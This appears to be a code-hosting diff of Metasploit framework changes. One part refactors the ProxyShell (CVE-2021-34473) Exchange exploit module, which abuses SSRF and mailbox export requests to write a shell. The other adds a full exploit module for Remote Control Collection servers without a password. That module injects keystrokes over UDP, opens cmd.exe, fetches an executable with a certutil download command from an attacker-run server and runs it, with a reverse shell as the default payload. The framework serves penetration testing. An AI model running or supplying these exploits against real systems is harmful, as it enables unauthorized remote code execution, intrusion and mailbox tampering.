print_error("Exception: #{e.inspect}")
|
||||
successful = false
|
||||
end
|
||||
|
||||
successful
|
||||
end
|
||||
|
||||
def exploit
|
||||
@ssrf_email ||= Faker::Internet.email
|
||||
print_status('Attempt to exploit for CVE-2021-34473')
|
||||
@@ -447,12 +391,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
|
||||
end
|
||||
|
||||
normal_path = unc_path.gsub(/^\\+[\w.\-]+\\(.)\$\\/, '\1:\\')
|
||||
normal_path = unc_path.gsub(/^\\+[\w.-]+\\(.)\$\\/, '\1:\\')
|
||||
print_status("Writing to: #{normal_path}")
|
||||
register_file_for_cleanup(normal_path)
|
||||
|
||||
@export_name = rand_text_alphanumeric(8..12)
|
||||
successful = execute_powershell(@common_access_token, 'New-MailboxExportRequest', args: [
|
||||
successful = execute_powershell('New-MailboxExportRequest', cat: @common_access_token, args: [
|
||||
{ name: '-Name', value: @export_name },
|
||||
{ name: '-Mailbox', value: @mailbox_user_email },
|
||||
{ name: '-IncludeFolders', value: '#Drafts#' },
|
||||
@@ -506,13 +450,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return unless @common_access_token && @export_name
|
||||
|
||||
print_status('Removing the mailbox export request')
|
||||
execute_powershell(@common_access_token, 'Remove-MailboxExportRequest', args: [
|
||||
execute_powershell('Remove-MailboxExportRequest', cat: @common_access_token, args: [
|
||||
{ name: '-Identity', value: "#{@mailbox_user_email}\\#{@export_name}" },
|
||||
{ name: '-Confirm', value: false }
|
||||
])
|
||||
|
||||
print_status('Removing the draft email')
|
||||
execute_powershell(@common_access_token, 'Search-Mailbox', args: [
|
||||
execute_powershell('Search-Mailbox', cat: @common_access_token, args: [
|
||||
{ name: '-Identity', value: @mailbox_user_email },
|
||||
{ name: '-SearchQuery', value: "Subject:\"#{@draft_subject}\"" },
|
||||
{ name: '-Force' },
|
||||
@@ -580,94 +524,3 @@ class PstEncoding
|
||||
encoded
|
||||
end
|
||||
end
|
||||
|
||||
class XMLTemplate
|
||||
def self.render(template_name, context = nil)
|
||||
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', "#{template_name}.xml.erb")
|
||||
template = ::File.binread(file_path)
|
||||
case context
|
||||
when Hash
|
||||
b = binding
|
||||
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
|
||||
b.eval(locals.join)
|
||||
when NilClass
|
||||
b = binding
|
||||
else
|
||||
raise ArgumentError
|
||||
end
|
||||
b.eval(Erubi::Engine.new(template).src)
|
||||
end
|
||||
end
|
||||
|
||||
class SSRFWinRMConnection < WinRM::Connection
|
||||
class MessageFactory < WinRM::PSRP::MessageFactory
|
||||
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
|
||||
WinRM::PSRP::Message.new(
|
||||
runspace_pool_id,
|
||||
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
|
||||
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
|
||||
pipeline_id
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF
|
||||
# vulnerability
|
||||
class TransportFactory < WinRM::HTTP::TransportFactory
|
||||
class HttpSsrf < WinRM::HTTP::HttpTransport
|
||||
# rubocop:disable Lint/
|
||||
def initialize(endpoint, options)
|
||||
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
|
||||
@ssrf_proc = options[:ssrf_proc]
|
||||
end
|
||||
|
||||
def send_request(message)
|
||||
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
|
||||
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
|
||||
end
|
||||
end
|
||||
|
||||
def create_transport(connection_opts)
|
||||
raise NotImplementedError unless connection_opts[:transport] == :ssrf
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def init_ssrf_transport(opts)
|
||||
HttpSsrf.new(opts[:endpoint], opts)
|
||||
end
|
||||
end
|
||||
|
||||
module PowerShell
|
||||
def send_command(command, _arguments)
|
||||
command_id = SecureRandom.uuid.to_s.upcase
|
||||
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
|
||||
fragmenter.fragment(message) do |fragment|
|
||||
command_args = [connection_opts, shell_id, command_id, fragment]
|
||||
if fragment.start_fragment
|
||||
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
|
||||
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
|
||||
else
|
||||
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
|
||||
end
|
||||
end
|
||||
|
||||
command_id
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(connection_opts)
|
||||
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax
|
||||
connection_opts.merge!({ user: :ssrf, password: :ssrf })
|
||||
super(connection_opts)
|
||||
end
|
||||
|
||||
def transport
|
||||
@transport ||= begin
|
||||
transport_factory = TransportFactory.new
|
||||
transport_factory.create_transport(@connection_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Exploit::Remote::Udp
|
||||
include Exploit::EXE # generate_payload_exe
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Remote Control Collection RCE',
|
||||
'Description' => %q{
|
||||
This module utilizes the Remote Control Server's, part
|
||||
of the Remote Control Collection by Steppschuh, protocol
|
||||
to deploy a payload and run it from the server. This module will only deploy
|
||||
a payload if the server is set without a password (default).
|
||||
Tested against 3.1.1.12, current at the time of module writing
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'H4rk3nz0' # edb, discovery
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'http://remote-control-collection.com' ],
|
||||
[ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py' ]
|
||||
],
|
||||
'Arch' => [ ARCH_X64, ARCH_X86 ],
|
||||
'Platform' => 'win',
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' => [
|
||||
['default', {}],
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/shell/reverse_tcp',
|
||||
'WfsDelay' => 5,
|
||||
'Autocheck' => false
|
||||
},
|
||||
'DisclosureDate' => '2022-09-20',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'Port Remote Mouse runs on', 1926]),
|
||||
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
|
||||
OptString.new('PATH', [true, 'Where to stage payload for pull method', '%temp%\\']),
|
||||
OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def path
|
||||
return datastore['PATH'] if datastore['PATH'].end_with? '\\'
|
||||
|
||||
"#{datastore['PATH']}\\"
|
||||
end
|
||||
|
||||
def special_key_header
|
||||
"\x7f\x15\x02"
|
||||
end
|
||||
|
||||
def key_header
|
||||
"\x7f\x15\x01"
|
||||
end
|
||||
|
||||
def windows_key
|
||||
udp_sock.put("#{special_key_header}\x01\x00\x00\x00\xab") # key up
|
||||
udp_sock.put("#{special_key_header}\x00\x00\x00\x00\xab") # key down
|
||||
sleep(datastore['SLEEP'])
|
||||
end
|
||||
|
||||
def enter_key
|
||||
udp_sock.put("#{special_key_header}\x01\x00\x00\x00\x42")
|
||||
sleep(datastore['SLEEP'])
|
||||
end
|
||||
|
||||
def send_command(command)
|
||||
command.each_char do |c|
|
||||
udp_sock.put("#{key_header}#{c}")
|
||||
sleep(datastore['SLEEP'] / 10)
|
||||
end
|
||||
enter_key
|
||||
sleep(datastore['SLEEP'])
|
||||
end
|
||||
|
||||
def check
|
||||
@check_run = true
|
||||
@check_success = false
|
||||
upload_file
|
||||
return Exploit::CheckCode::Vulnerable if @check_success
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _req)
|
||||
@check_success = true
|
||||
if @check_run # send a random file
|
||||
p = Rex::Text.rand_text_alphanumeric(rand(8..17))
|
||||
else
|
||||
p = generate_payload_exe
|
||||
end
|
||||
send_response(cli, p)
|
||||
print_good("Request received, sending #{p.length} bytes")
|
||||
end
|
||||
|
||||
def upload_file
|
||||
connect_udp
|
||||
# send a space character to skip any screensaver
|
||||
udp_sock.put("#{key_header} ")
|
||||
print_status('Connecting and Sending Windows key')
|
||||
windows_key
|
||||
|
||||
print_status('Opening command prompt')
|
||||
send_command('cmd.exe')
|
||||
|
||||
filename = Rex::Text.rand_text_alphanumeric(rand(8..17))
|
||||
filename << '.exe' unless @check_run
|
||||
if @service_started.nil?
|
||||
print_status('Starting up our web service...')
|
||||
start_service('Path' => '/')
|
||||
@service_started = true
|
||||
end
|
||||
get_file = "certutil.exe -urlcache -f http://#{srvhost_addr}:#{srvport}/ #{path}#{filename}"
|
||||
send_command(get_file)
|
||||
if @check_run.nil? || @check_run == true
|
||||
send_command("del #{path}#{filename} && exit")
|
||||
else
|
||||
register_file_for_cleanup("#{path}#{filename}")
|
||||
print_status('Executing payload')
|
||||
send_command("#{path}#{filename} && exit")
|
||||
end
|
||||
disconnect_udp
|
||||
end
|
||||
|
||||
def exploit
|
||||
@check_run = false
|
||||
upload_file
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user